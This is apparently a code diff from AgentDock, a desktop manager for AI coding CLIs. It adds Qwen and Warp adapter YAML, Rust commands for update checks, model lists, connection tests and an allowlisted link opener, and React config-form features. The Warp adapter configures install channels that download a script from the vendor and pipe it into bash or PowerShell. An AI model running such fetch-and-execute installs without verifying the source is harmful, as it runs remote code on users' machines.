||||||
|
documentation:
|
||||||
|
quickstart_zh: 安装后配置 API Key,用 `qwen -p "提示词"` 无头执行,或 `qwen` 进入交互会话。
|
||||||
|
install_zh: 推荐 `npm install -g @qwen-code/qwen-code`(需 Node 22+);也可用 `npx @qwen-code/qwen-code` 临时试用。阿里 OSS 独立脚本见官方文档。
|
||||||
|
auth_zh: 仅支持 API Key:免费 OAuth 已停用(`qwen auth` 命令已移除)。请在阿里云百炼(DashScope)申请 API Key 后粘贴保存(经 DASHSCOPE_API_KEY 注入);也可在 settings.json 的 modelProviders 接 OpenAI 兼容端点(自定义 envKey)。
|
||||||
|
commands:
|
||||||
|
- cmd: qwen
|
||||||
|
desc_zh: 启动交互式会话
|
||||||
|
- cmd: qwen -p "提示词"
|
||||||
|
desc_zh: 无头单次执行
|
||||||
|
- cmd: qwen -m <模型>
|
||||||
|
desc_zh: 指定模型
|
||||||
|
- cmd: qwen -o json -p "提示词"
|
||||||
|
desc_zh: 以 JSON 输出
|
||||||
|
- cmd: qwen --version
|
||||||
|
desc_zh: 显示版本号
|
||||||
|
- cmd: qwen update
|
||||||
|
desc_zh: 检查并安装更新
|
||||||
|
- cmd: qwen sessions
|
||||||
|
desc_zh: 管理会话
|
||||||
|
- cmd: npx @qwen-code/qwen-code
|
||||||
|
desc_zh: 免安装临时运行
|
||||||
|
params:
|
||||||
|
- param: -p / --prompt
|
||||||
|
desc_zh: 无头模式单次执行
|
||||||
|
- param: -m / --model
|
||||||
|
desc_zh: 指定模型
|
||||||
|
- param: -o / --output-format
|
||||||
|
desc_zh: 输出格式(text / json / stream-json)
|
||||||
|
- param: -s / --sandbox
|
||||||
|
desc_zh: 沙箱执行
|
||||||
|
- param: -c / --continue
|
||||||
|
desc_zh: 续接最近会话
|
||||||
|
- param: -v / --version
|
||||||
|
desc_zh: 显示版本号
|
||||||
|
updated_at: "2026-08-25"
|
||||||
|
risks_zh:
|
||||||
|
- 免费 OAuth 已停用,仅支持 API Key(真机 `qwen auth` 命令显示 removed)
|
||||||
|
- 真机 `qwen --version` 返回 0.21.15,版本检测已据此确认
|
||||||
|
- modelProviders 多 provider / env 块自定义 envKey 等高级配置本表单不覆盖,以官方文档为准
|
||||||
|
|||||||
+115
-21
@@ -1,28 +1,122 @@
|
|||||||
# ============================================================
|
# ============================================================
|
||||||
# AgentDock 适配器占位(Wave 1,对齐架构 §3.1 完整 schema)
|
# AgentDock 适配器 · Warp Agent CLI(Wave 3)
|
||||||
# 本波仅填五字段(id/name/name_zh/vendor/status);其余字段留空,
|
# 数据依据:调研底稿 agent-cli-survey-2026-08-24.md + 架构 §3.3
|
||||||
# Wave 2 起按调研底稿 agent-cli-survey-2026-08-24.md 逐项填充,禁止编造。
|
# 注意:只管 Agent CLI(命令 warp),不管 Warp 终端本体;设备码+浏览器+API Key 三授权。
|
||||||
#
|
|
||||||
# 完整字段(全部留空占位,Wave 2 填写):
|
|
||||||
# adapter_version # semver,如 1.2.0
|
|
||||||
# license # 展示用;专有许可注明「仅官方渠道安装、不重打包」
|
|
||||||
# platforms # windows/linux:architectures、notes、min_ubuntu
|
|
||||||
# official # homepage / docs / allowed_hosts(网络白名单)
|
|
||||||
# runtime_deps # [ { id, semver_range, required_for: [install|run] } ]
|
|
||||||
# install # preferred + channels[ {id, platforms, command[], script, package, elevate, elevate_reason_zh, post_checks} ]
|
|
||||||
# detect # executable / version_args / version_regex / version_unconfirmed / path_hints
|
|
||||||
# update # method + command[]
|
|
||||||
# uninstall # method + command[] + keep_config_default
|
|
||||||
# authorization # modes[ {mode, command[], env_keys[], status_command[], notes_zh} ]
|
|
||||||
# configuration # files[] / environment[] / fields[]
|
|
||||||
# diagnostics # [ { rule_id } ]
|
|
||||||
# documentation # quickstart_zh / commands[] / updated_at / risks_zh[]
|
|
||||||
#
|
|
||||||
# 铁律:所有 command 一律 argv 数组,禁止 shell 元字符(| & ; $ \ > < (`);
|
|
||||||
# 本波不实现任何真实安装/检测/配置/授权命令(那是 Wave 2 的事)。
|
|
||||||
# ============================================================
|
# ============================================================
|
||||||
id: warp
|
id: warp
|
||||||
name: Warp Agent CLI
|
name: Warp Agent CLI
|
||||||
name_zh: Warp Agent CLI
|
name_zh: Warp Agent CLI
|
||||||
vendor: Warp
|
vendor: Warp
|
||||||
status: available
|
status: available
|
||||||
|
adapter_version: 1.1.0
|
||||||
|
license: 专有(仅官方渠道安装、不重打包)
|
||||||
|
|
||||||
|
platforms:
|
||||||
|
windows:
|
||||||
|
architectures: [x64]
|
||||||
|
notes: 官方 agent-cli.ps1 脚本渠道
|
||||||
|
linux:
|
||||||
|
distributions: [ubuntu]
|
||||||
|
architectures: [x64]
|
||||||
|
|
||||||
|
official:
|
||||||
|
homepage: https://www.warp.dev
|
||||||
|
docs: https://docs.warp.dev/agent-mode
|
||||||
|
allowed_hosts: [warp.dev, app.warp.dev, www.warp.dev]
|
||||||
|
|
||||||
|
runtime_deps: []
|
||||||
|
|
||||||
|
install:
|
||||||
|
preferred: official_script
|
||||||
|
channels:
|
||||||
|
- id: official_script
|
||||||
|
platforms: [windows]
|
||||||
|
script:
|
||||||
|
url: https://app.warp.dev/download/agent-cli.ps1
|
||||||
|
kind: powershell_irm
|
||||||
|
elevate: never
|
||||||
|
post_checks: [detect]
|
||||||
|
- id: official_script
|
||||||
|
platforms: [linux]
|
||||||
|
script:
|
||||||
|
url: https://app.warp.dev/download/agent-cli
|
||||||
|
kind: bash_pipe
|
||||||
|
elevate: never
|
||||||
|
post_checks: [detect]
|
||||||
|
|
||||||
|
detect:
|
||||||
|
executable: warp
|
||||||
|
version_args: ["--version"]
|
||||||
|
|
||||||
|
update:
|
||||||
|
method: self_update_cmd
|
||||||
|
command: [warp, update]
|
||||||
|
|
||||||
|
uninstall:
|
||||||
|
method: manual_delete
|
||||||
|
command: []
|
||||||
|
keep_config_default: true
|
||||||
|
|
||||||
|
authorization:
|
||||||
|
modes:
|
||||||
|
- mode: browser_oauth
|
||||||
|
command: [warp, login]
|
||||||
|
notes_zh: 浏览器登录 Warp 账号
|
||||||
|
- mode: device_code
|
||||||
|
command: [warp, login]
|
||||||
|
notes_zh: 设备码登录(不弹浏览器)
|
||||||
|
- mode: api_key
|
||||||
|
env_keys: [WARP_API_KEY]
|
||||||
|
notes_zh: WARP_API_KEY 环境变量(API Key 授权)
|
||||||
|
|
||||||
|
# 配置机制(调研底稿 Warp 章节):Warp 账户体系为主,API Key 经 WARP_API_KEY 环境变量。
|
||||||
|
configuration:
|
||||||
|
files: []
|
||||||
|
environment:
|
||||||
|
- key: WARP_API_KEY
|
||||||
|
sensitive: true
|
||||||
|
maps_to_field: api_key
|
||||||
|
fields:
|
||||||
|
- id: api_key
|
||||||
|
label_zh: API Key
|
||||||
|
group: auth
|
||||||
|
help_zh: 存入系统密钥库(对应 WARP_API_KEY 环境变量);一般用账号登录即可
|
||||||
|
required: false
|
||||||
|
sensitive: true
|
||||||
|
type: string
|
||||||
|
storage: keyring
|
||||||
|
docs_url: https://docs.warp.dev/agent-mode
|
||||||
|
|
||||||
|
diagnostics:
|
||||||
|
- rule_id: path.not_installed
|
||||||
|
- rule_id: path.not_in_path
|
||||||
|
- rule_id: version_conflict.multiple_copies
|
||||||
|
|
||||||
|
documentation:
|
||||||
|
quickstart_zh: 安装后运行 `warp login` 登录 Warp 账号,或用 `warp -p "提示词"` 无头执行。
|
||||||
|
install_zh: 仅官方脚本渠道:Windows agent-cli.ps1 / Linux curl 脚本。只管 Agent CLI,不管 Warp 终端本体。
|
||||||
|
auth_zh: 三授权:① 浏览器登录(`warp login`);② 设备码(`warp login`,不弹浏览器);③ API Key(WARP_API_KEY 环境变量)。
|
||||||
|
commands:
|
||||||
|
- cmd: warp
|
||||||
|
desc_zh: 启动交互式会话
|
||||||
|
- cmd: warp -p "提示词"
|
||||||
|
desc_zh: 无头单次执行
|
||||||
|
- cmd: warp login
|
||||||
|
desc_zh: 登录 Warp 账号
|
||||||
|
- cmd: warp logout
|
||||||
|
desc_zh: 退出登录
|
||||||
|
- cmd: warp --version
|
||||||
|
desc_zh: 显示版本号
|
||||||
|
params:
|
||||||
|
- param: -p / --print
|
||||||
|
desc_zh: 无头模式执行后退出
|
||||||
|
- param: --model
|
||||||
|
desc_zh: 指定模型
|
||||||
|
- param: --output-format
|
||||||
|
desc_zh: 输出格式
|
||||||
|
- param: --version
|
||||||
|
desc_zh: 显示版本号
|
||||||
|
updated_at: "2026-08-25"
|
||||||
|
risks_zh:
|
||||||
|
- 只管 Agent CLI(命令 warp),不管 Warp 终端本体
|
||||||
|
- 官方脚本 URL 以 docs.warp.dev/agent-mode 为准,安装前请核对
|
||||||
|
|||||||
@@ -7,7 +7,7 @@
|
|||||||
use std::collections::BTreeMap;
|
use std::collections::BTreeMap;
|
||||||
|
|
||||||
use agentdock_adapter::{AdapterAction, DryRunPlan};
|
use agentdock_adapter::{AdapterAction, DryRunPlan};
|
||||||
use agentdock_core::{ActionEvent, ActionOpts, AuthFlowEvent, AuthStatus, ConfigFormState, ConfigVerifyResult, DetectResult, Engine, WriteResult};
|
use agentdock_core::{ActionEvent, ActionOpts, AuthFlowEvent, AuthStatus, ConfigFormState, ConfigVerifyResult, ConnectionTestResult, DetectResult, Engine, ModelListResult, SystemEnvReport, UpdateCheckResult, WriteResult};
|
||||||
use agentdock_diag::DiagnosticReport;
|
use agentdock_diag::DiagnosticReport;
|
||||||
use serde_json::json;
|
use serde_json::json;
|
||||||
use tauri::Emitter;
|
use tauri::Emitter;
|
||||||
@@ -166,3 +166,63 @@ pub fn diagnose_all(state: tauri::State<'_, Engine>) -> Result<Vec<DiagnosticRep
|
|||||||
let env = agentdock_platform::detect::detect_env();
|
let env = agentdock_platform::detect::detect_env();
|
||||||
state.diagnose_all(&env).map_err(|e| e.to_string())
|
state.diagnose_all(&env).map_err(|e| e.to_string())
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// 系统环境诊断(Wave 3.1 Req 7):检查缺失/过低的系统依赖,标注影响哪些 CLI。
|
||||||
|
#[tauri::command(rename = "diagnoseSystem")]
|
||||||
|
pub fn diagnose_system(state: tauri::State<'_, Engine>) -> Result<SystemEnvReport, String> {
|
||||||
|
let env = agentdock_platform::detect::detect_env();
|
||||||
|
state.diagnose_system(&env).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 「可更新」判定(Wave 3.1 Req 4):官方源最新版本 vs 本地已装版本对比。
|
||||||
|
#[tauri::command(rename = "checkUpdate")]
|
||||||
|
pub fn check_update(id: String, state: tauri::State<'_, Engine>) -> Result<UpdateCheckResult, String> {
|
||||||
|
state.check_update(&id).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 模型列表(Wave 3.1 Req 5)。
|
||||||
|
#[tauri::command(rename = "listModels")]
|
||||||
|
pub fn list_models(id: String, state: tauri::State<'_, Engine>) -> Result<ModelListResult, String> {
|
||||||
|
state.list_models(&id).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 测试连通(Wave 3.1 Req 5):密钥从密钥库读取直连官方接口测一次。
|
||||||
|
#[tauri::command(rename = "testConnection")]
|
||||||
|
pub fn test_connection(id: String, state: tauri::State<'_, Engine>) -> Result<ConnectionTestResult, String> {
|
||||||
|
state.test_connection(&id).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 用系统默认浏览器打开外链(Wave 3.1 Req 8),目标主机须在白名单内。
|
||||||
|
#[tauri::command(rename = "openExternal")]
|
||||||
|
pub fn open_external(url: String, state: tauri::State<'_, Engine>) -> Result<(), String> {
|
||||||
|
let allowed: Vec<String> = state
|
||||||
|
.adapters()
|
||||||
|
.map(|ads| {
|
||||||
|
let mut hosts: Vec<String> = ads
|
||||||
|
.iter()
|
||||||
|
.flat_map(|a| a.official.as_ref().map(|o| o.allowed_hosts.clone()).unwrap_or_default())
|
||||||
|
.collect();
|
||||||
|
hosts.extend(well_known_docs_hosts().iter().cloned());
|
||||||
|
hosts
|
||||||
|
})
|
||||||
|
.unwrap_or_else(|_| well_known_docs_hosts());
|
||||||
|
if !agentdock_core::is_url_host_allowed(&url, &allowed) {
|
||||||
|
return Err("目标链接不在白名单内".to_string());
|
||||||
|
}
|
||||||
|
agentdock_core::open_with_shell(&url).map_err(|e| e.to_string())
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 官方文档/主页常见主机(与适配器 allowed_hosts 合并,覆盖 docs.* 站点)。
|
||||||
|
fn well_known_docs_hosts() -> Vec<String> {
|
||||||
|
[
|
||||||
|
"opencode.ai", "moonshotai.github.io", "code.kimi.com", "github.com",
|
||||||
|
"code.claude.com", "geminicli.com", "qwen.ai", "codebuddy.ai", "docs.cline.bot",
|
||||||
|
"aider.chat", "cursor.com", "docs.warp.dev", "warp.dev", "block.github.io",
|
||||||
|
"charm.sh", "docs.github.com", "learn.chatgpt.com", "claude.ai",
|
||||||
|
"nodejs.org", "python.org", "git-scm.com", "docs.astral.sh", "learn.microsoft.com",
|
||||||
|
"aka.ms", "pypi.org", "registry.npmjs.org", "api.github.com", "chatgpt.com",
|
||||||
|
]
|
||||||
|
.iter()
|
||||||
|
.map(|s| s.to_string())
|
||||||
|
.collect()
|
||||||
|
}
|
||||||
|
|||||||
@@ -60,6 +60,11 @@ pub fn run() {
|
|||||||
commands::cli::cancel_authorize,
|
commands::cli::cancel_authorize,
|
||||||
commands::cli::diagnose,
|
commands::cli::diagnose,
|
||||||
commands::cli::diagnose_all,
|
commands::cli::diagnose_all,
|
||||||
|
commands::cli::diagnose_system,
|
||||||
|
commands::cli::check_update,
|
||||||
|
commands::cli::list_models,
|
||||||
|
commands::cli::test_connection,
|
||||||
|
commands::cli::open_external,
|
||||||
commands::runtime::preview_runtime_install,
|
commands::runtime::preview_runtime_install,
|
||||||
commands::runtime::open_runtime_page,
|
commands::runtime::open_runtime_page,
|
||||||
commands::runtime::install_runtime,
|
commands::runtime::install_runtime,
|
||||||
|
|||||||
@@ -30,7 +30,29 @@ function fallbackAbbr(name: string): string {
|
|||||||
return name.replace(/\s+/g, "").slice(0, 2).toUpperCase();
|
return name.replace(/\s+/g, "").slice(0, 2).toUpperCase();
|
||||||
}
|
}
|
||||||
|
|
||||||
/** CLI 单色字母头像(视觉规范 §7:双字母单色,--ad-bg-2 底 + 1px --ad-border) */
|
/**
|
||||||
|
* 各工具官方图标主色(Wave 3.1 Req 10:按官方主色微调头像角标,不改动六色语义)。
|
||||||
|
* 官方图标二进制资源待打包波由美术师统一下载本地化;此处以主色作为识别配色过渡。
|
||||||
|
*/
|
||||||
|
const CLI_BRAND_COLORS: Record<string, string> = {
|
||||||
|
codex: "#10A37F",
|
||||||
|
"claude-code": "#D97757",
|
||||||
|
gemini: "#4285F4",
|
||||||
|
copilot: "#8957E5",
|
||||||
|
kimi: "#5B5BEE",
|
||||||
|
qwen: "#615CED",
|
||||||
|
codebuddy: "#0052D9",
|
||||||
|
opencode: "#7C5CFF",
|
||||||
|
crush: "#F4B860",
|
||||||
|
goose: "#E84393",
|
||||||
|
aider: "#FF6B6B",
|
||||||
|
cursor: "#4A4A4A",
|
||||||
|
cline: "#6B6BFF",
|
||||||
|
warp: "#00E0FF",
|
||||||
|
};
|
||||||
|
|
||||||
|
/** CLI 单色字母头像(视觉规范 §7:双字母单色,--ad-bg-2 底 + 1px --ad-border)
|
||||||
|
* Wave 3.1:官方图标主色作为字母/角标识别配色(官方图标二进制待打包波本地化) */
|
||||||
export function CliMonogram({
|
export function CliMonogram({
|
||||||
id,
|
id,
|
||||||
name,
|
name,
|
||||||
@@ -41,10 +63,16 @@ export function CliMonogram({
|
|||||||
size?: number;
|
size?: number;
|
||||||
}) {
|
}) {
|
||||||
const chars = CLI_MONOGRAMS[id] ?? fallbackAbbr(name);
|
const chars = CLI_MONOGRAMS[id] ?? fallbackAbbr(name);
|
||||||
|
const accent = CLI_BRAND_COLORS[id];
|
||||||
return (
|
return (
|
||||||
<span
|
<span
|
||||||
className="monogram"
|
className="monogram"
|
||||||
style={{ width: size, height: size, fontSize: Math.round(size * 0.42) }}
|
style={{
|
||||||
|
width: size,
|
||||||
|
height: size,
|
||||||
|
fontSize: Math.round(size * 0.42),
|
||||||
|
...(accent ? { color: accent, borderColor: `${accent}66` } : {}),
|
||||||
|
}}
|
||||||
aria-hidden="true"
|
aria-hidden="true"
|
||||||
>
|
>
|
||||||
{chars}
|
{chars}
|
||||||
|
|||||||
@@ -1,10 +1,12 @@
|
|||||||
import { useEffect, useMemo, useState } from "react";
|
import { useEffect, useMemo, useState } from "react";
|
||||||
import { Check, ChevronDown, CircleAlert, ExternalLink, Eye, EyeOff, Lock, ShieldCheck } from "lucide-react";
|
import { Check, ChevronDown, CircleAlert, ExternalLink, Eye, EyeOff, Lock, PlugZap, ShieldCheck } from "lucide-react";
|
||||||
import { readConfig, verifyConfig, writeConfig } from "../ipc";
|
import { listModels, readConfig, testConnection, verifyConfig, writeConfig, openExternal } from "../ipc";
|
||||||
import type {
|
import type {
|
||||||
ConfigFieldState,
|
ConfigFieldState,
|
||||||
ConfigFormState,
|
ConfigFormState,
|
||||||
ConfigVerifyResult,
|
ConfigVerifyResult,
|
||||||
|
ConnectionTestResult,
|
||||||
|
ModelListResult,
|
||||||
WriteResult,
|
WriteResult,
|
||||||
} from "../ipc/types";
|
} from "../ipc/types";
|
||||||
import { AuthPanel } from "./AuthPanel";
|
import { AuthPanel } from "./AuthPanel";
|
||||||
@@ -12,8 +14,17 @@ import { MonoChip } from "./MonoChip";
|
|||||||
|
|
||||||
/** 配置表单(视觉规范 §3.4:单列 ≤640px、敏感字段密码框 + 密钥库说明、吸底保存条)
|
/** 配置表单(视觉规范 §3.4:单列 ≤640px、敏感字段密码框 + 密钥库说明、吸底保存条)
|
||||||
* Wave 2.1:字段按官方配置方法渲染 + 保存后「生效检查」
|
* Wave 2.1:字段按官方配置方法渲染 + 保存后「生效检查」
|
||||||
* Wave 2.2:授权/登录层改为可操作授权流程(AuthPanel) */
|
* Wave 2.2:授权/登录层改为可操作授权流程(AuthPanel)
|
||||||
export function ConfigForm({ id, onAuthChanged }: { id: string; onAuthChanged?: () => void }) {
|
* Wave 3.1:默认模型 → 模型列表 + 测试连通 */
|
||||||
|
export function ConfigForm({
|
||||||
|
id,
|
||||||
|
onAuthChanged,
|
||||||
|
canTestConnection = false,
|
||||||
|
}: {
|
||||||
|
id: string;
|
||||||
|
onAuthChanged?: () => void;
|
||||||
|
canTestConnection?: boolean;
|
||||||
|
}) {
|
||||||
const [state, setState] = useState<ConfigFormState | null>(null);
|
const [state, setState] = useState<ConfigFormState | null>(null);
|
||||||
const [values, setValues] = useState<Record<string, string>>({});
|
const [values, setValues] = useState<Record<string, string>>({});
|
||||||
const [revealed, setRevealed] = useState<Record<string, boolean>>({});
|
const [revealed, setRevealed] = useState<Record<string, boolean>>({});
|
||||||
@@ -24,6 +35,9 @@ export function ConfigForm({ id, onAuthChanged }: { id: string; onAuthChanged?:
|
|||||||
const [verify, setVerify] = useState<ConfigVerifyResult | null>(null);
|
const [verify, setVerify] = useState<ConfigVerifyResult | null>(null);
|
||||||
const [error, setError] = useState<string | null>(null);
|
const [error, setError] = useState<string | null>(null);
|
||||||
const [advancedOpen, setAdvancedOpen] = useState(false);
|
const [advancedOpen, setAdvancedOpen] = useState(false);
|
||||||
|
const [models, setModels] = useState<ModelListResult | null>(null);
|
||||||
|
const [connTest, setConnTest] = useState<ConnectionTestResult | null>(null);
|
||||||
|
const [connBusy, setConnBusy] = useState(false);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
let cancelled = false;
|
let cancelled = false;
|
||||||
@@ -44,11 +58,29 @@ export function ConfigForm({ id, onAuthChanged }: { id: string; onAuthChanged?:
|
|||||||
setLoading(false);
|
setLoading(false);
|
||||||
}
|
}
|
||||||
});
|
});
|
||||||
|
listModels(id)
|
||||||
|
.then((m) => {
|
||||||
|
if (!cancelled) setModels(m);
|
||||||
|
})
|
||||||
|
.catch(() => {});
|
||||||
return () => {
|
return () => {
|
||||||
cancelled = true;
|
cancelled = true;
|
||||||
};
|
};
|
||||||
}, [id]);
|
}, [id]);
|
||||||
|
|
||||||
|
async function runTestConnection() {
|
||||||
|
setConnBusy(true);
|
||||||
|
setConnTest(null);
|
||||||
|
try {
|
||||||
|
const r = await testConnection(id);
|
||||||
|
setConnTest(r);
|
||||||
|
} catch (e) {
|
||||||
|
setConnTest({ cli_id: id, ok: false, message_zh: String(e), http_status: null, detail: null });
|
||||||
|
} finally {
|
||||||
|
setConnBusy(false);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
const sensitiveSaved = useMemo(() => {
|
const sensitiveSaved = useMemo(() => {
|
||||||
const m: Record<string, boolean> = {};
|
const m: Record<string, boolean> = {};
|
||||||
state?.fields.forEach((f) => {
|
state?.fields.forEach((f) => {
|
||||||
@@ -67,6 +99,8 @@ export function ConfigForm({ id, onAuthChanged }: { id: string; onAuthChanged?:
|
|||||||
const advancedFields = state.fields.filter((f) => f.group === "advanced");
|
const advancedFields = state.fields.filter((f) => f.group === "advanced");
|
||||||
|
|
||||||
function renderField(field: ConfigFieldState) {
|
function renderField(field: ConfigFieldState) {
|
||||||
|
const isModelField = field.field_type === "string" && field.id.toLowerCase().includes("model");
|
||||||
|
const suggestions = isModelField ? (models?.models.map((m) => m.id) ?? []) : [];
|
||||||
return (
|
return (
|
||||||
<Field
|
<Field
|
||||||
key={field.id}
|
key={field.id}
|
||||||
@@ -74,6 +108,7 @@ export function ConfigForm({ id, onAuthChanged }: { id: string; onAuthChanged?:
|
|||||||
value={values[field.id] ?? ""}
|
value={values[field.id] ?? ""}
|
||||||
saved={sensitiveSaved[field.id] ?? false}
|
saved={sensitiveSaved[field.id] ?? false}
|
||||||
revealed={!!revealed[field.id]}
|
revealed={!!revealed[field.id]}
|
||||||
|
suggestions={suggestions}
|
||||||
onToggleReveal={() => setRevealed((r) => ({ ...r, [field.id]: !r[field.id] }))}
|
onToggleReveal={() => setRevealed((r) => ({ ...r, [field.id]: !r[field.id] }))}
|
||||||
onChange={(v) => setValues((x) => ({ ...x, [field.id]: v }))}
|
onChange={(v) => setValues((x) => ({ ...x, [field.id]: v }))}
|
||||||
/>
|
/>
|
||||||
@@ -135,6 +170,46 @@ export function ConfigForm({ id, onAuthChanged }: { id: string; onAuthChanged?:
|
|||||||
</section>
|
</section>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
|
{/* 第二层:模型列表 + 测试连通(Wave 3.1 Req 5) */}
|
||||||
|
{(models && models.models.length > 0) || canTestConnection ? (
|
||||||
|
<section className="config-section">
|
||||||
|
<h4 className="config-section-title">模型</h4>
|
||||||
|
{models && models.models.length > 0 ? (
|
||||||
|
<div className="model-list">
|
||||||
|
<div className="model-list-rows">
|
||||||
|
{models.models.map((m) => (
|
||||||
|
<div key={m.id} className="model-row">
|
||||||
|
<MonoChip>{m.id}</MonoChip>
|
||||||
|
{m.label_zh && <span className="model-row-label">{m.label_zh}</span>}
|
||||||
|
</div>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
<span className="model-list-hint">{models.detail_zh}</span>
|
||||||
|
</div>
|
||||||
|
) : (
|
||||||
|
<p className="model-list-hint">该工具未提供模型清单,可在默认模型字段手动填写。</p>
|
||||||
|
)}
|
||||||
|
{canTestConnection && (
|
||||||
|
<div className="model-connect">
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="btn btn-secondary btn-sm"
|
||||||
|
onClick={runTestConnection}
|
||||||
|
disabled={connBusy}
|
||||||
|
>
|
||||||
|
<PlugZap size={13} strokeWidth={1.5} aria-hidden="true" />
|
||||||
|
{connBusy ? "测试中…" : "测试连通"}
|
||||||
|
</button>
|
||||||
|
{connTest && (
|
||||||
|
<span className={`connect-test-result ${connTest.ok ? "ok" : "fail"}`}>
|
||||||
|
{connTest.message_zh}
|
||||||
|
</span>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</section>
|
||||||
|
) : null}
|
||||||
|
|
||||||
{/* 第二层:常用配置 */}
|
{/* 第二层:常用配置 */}
|
||||||
{commonFields.length > 0 && (
|
{commonFields.length > 0 && (
|
||||||
<section className="config-section">
|
<section className="config-section">
|
||||||
@@ -222,6 +297,7 @@ function Field({
|
|||||||
value,
|
value,
|
||||||
saved,
|
saved,
|
||||||
revealed,
|
revealed,
|
||||||
|
suggestions,
|
||||||
onChange,
|
onChange,
|
||||||
onToggleReveal,
|
onToggleReveal,
|
||||||
}: {
|
}: {
|
||||||
@@ -229,12 +305,14 @@ function Field({
|
|||||||
value: string;
|
value: string;
|
||||||
saved: boolean;
|
saved: boolean;
|
||||||
revealed: boolean;
|
revealed: boolean;
|
||||||
|
suggestions?: string[];
|
||||||
onChange: (v: string) => void;
|
onChange: (v: string) => void;
|
||||||
onToggleReveal: () => void;
|
onToggleReveal: () => void;
|
||||||
}) {
|
}) {
|
||||||
const isPassword = field.sensitive;
|
const isPassword = field.sensitive;
|
||||||
const isEnum = field.field_type === "enum";
|
const isEnum = field.field_type === "enum";
|
||||||
const inputType = isPassword ? (revealed ? "text" : "password") : "text";
|
const inputType = isPassword ? (revealed ? "text" : "password") : "text";
|
||||||
|
const datalistId = suggestions && suggestions.length > 0 ? `dl-${field.id}` : undefined;
|
||||||
return (
|
return (
|
||||||
<div className="field">
|
<div className="field">
|
||||||
<label className="field-label" htmlFor={`field-${field.id}`}>
|
<label className="field-label" htmlFor={`field-${field.id}`}>
|
||||||
@@ -266,12 +344,20 @@ function Field({
|
|||||||
id={`field-${field.id}`}
|
id={`field-${field.id}`}
|
||||||
type={inputType}
|
type={inputType}
|
||||||
value={value}
|
value={value}
|
||||||
|
list={datalistId}
|
||||||
placeholder={isPassword ? (saved ? "已保存 · 留空则不变" : "输入 API Key") : ""}
|
placeholder={isPassword ? (saved ? "已保存 · 留空则不变" : "输入 API Key") : ""}
|
||||||
autoComplete="off"
|
autoComplete="off"
|
||||||
spellCheck={false}
|
spellCheck={false}
|
||||||
onChange={(e) => onChange(e.target.value)}
|
onChange={(e) => onChange(e.target.value)}
|
||||||
/>
|
/>
|
||||||
)}
|
)}
|
||||||
|
{datalistId && (
|
||||||
|
<datalist id={datalistId}>
|
||||||
|
{suggestions!.map((m) => (
|
||||||
|
<option key={m} value={m} />
|
||||||
|
))}
|
||||||
|
</datalist>
|
||||||
|
)}
|
||||||
{isPassword && (
|
{isPassword && (
|
||||||
<button
|
<button
|
||||||
type="button"
|
type="button"
|
||||||
@@ -294,7 +380,11 @@ function Field({
|
|||||||
</span>
|
</span>
|
||||||
)}
|
)}
|
||||||
{field.docs_url && (
|
{field.docs_url && (
|
||||||
<a className="field-docs-link" href={field.docs_url} target="_blank" rel="noreferrer">
|
<a
|
||||||
|
className="field-docs-link"
|
||||||
|
href={field.docs_url}
|
||||||
|
onClick={(e) => { e.preventDefault(); void openExternal(field.docs_url!); }}
|
||||||
|
>
|
||||||
官方文档 <ExternalLink size={11} strokeWidth={1.5} aria-hidden="true" />
|
官方文档 <ExternalLink size={11} strokeWidth={1.5} aria-hidden="true" />
|
||||||
</a>
|
</a>
|
||||||
)}
|
)}
|
||||||
|
|||||||
@@ -10,12 +10,16 @@ import type {
|
|||||||
CliActionEvent,
|
CliActionEvent,
|
||||||
ConfigFormState,
|
ConfigFormState,
|
||||||
ConfigVerifyResult,
|
ConfigVerifyResult,
|
||||||
|
ConnectionTestResult,
|
||||||
DetectResult,
|
DetectResult,
|
||||||
DiagnosticReport,
|
DiagnosticReport,
|
||||||
DryRunPlan,
|
DryRunPlan,
|
||||||
|
ModelListResult,
|
||||||
PlatformEnv,
|
PlatformEnv,
|
||||||
RuntimeInstallEvent,
|
RuntimeInstallEvent,
|
||||||
RuntimeSource,
|
RuntimeSource,
|
||||||
|
SystemEnvReport,
|
||||||
|
UpdateCheckResult,
|
||||||
WriteResult,
|
WriteResult,
|
||||||
} from "./types";
|
} from "./types";
|
||||||
|
|
||||||
@@ -106,6 +110,39 @@ export async function diagnoseAll(): Promise<DiagnosticReport[]> {
|
|||||||
return invoke<DiagnosticReport[]>("diagnoseAll");
|
return invoke<DiagnosticReport[]>("diagnoseAll");
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** 系统环境诊断(Wave 3.1 Req 7):检查缺失/过低的系统依赖,标注影响哪些 CLI。 */
|
||||||
|
export async function diagnoseSystem(): Promise<SystemEnvReport> {
|
||||||
|
if (!isTauri()) return { findings: [] };
|
||||||
|
return invoke<SystemEnvReport>("diagnoseSystem");
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 「可更新」判定(Wave 3.1 Req 4):官方源最新版本 vs 本地已装版本。 */
|
||||||
|
export async function checkUpdate(id: string): Promise<UpdateCheckResult> {
|
||||||
|
if (!isTauri()) return { cli_id: id, current: null, latest: null, update_available: false, source_zh: "官方源", source_url: "", error: null };
|
||||||
|
return invoke<UpdateCheckResult>("checkUpdate", { id });
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 模型列表(Wave 3.1 Req 5)。 */
|
||||||
|
export async function listModels(id: string): Promise<ModelListResult> {
|
||||||
|
if (!isTauri()) return { cli_id: id, models: [], source: "empty", detail_zh: "" };
|
||||||
|
return invoke<ModelListResult>("listModels", { id });
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 测试连通(Wave 3.1 Req 5):密钥从密钥库读取直连官方接口。 */
|
||||||
|
export async function testConnection(id: string): Promise<ConnectionTestResult> {
|
||||||
|
if (!isTauri()) return { cli_id: id, ok: false, message_zh: "浏览器预览模式不支持测试连通", http_status: null, detail: null };
|
||||||
|
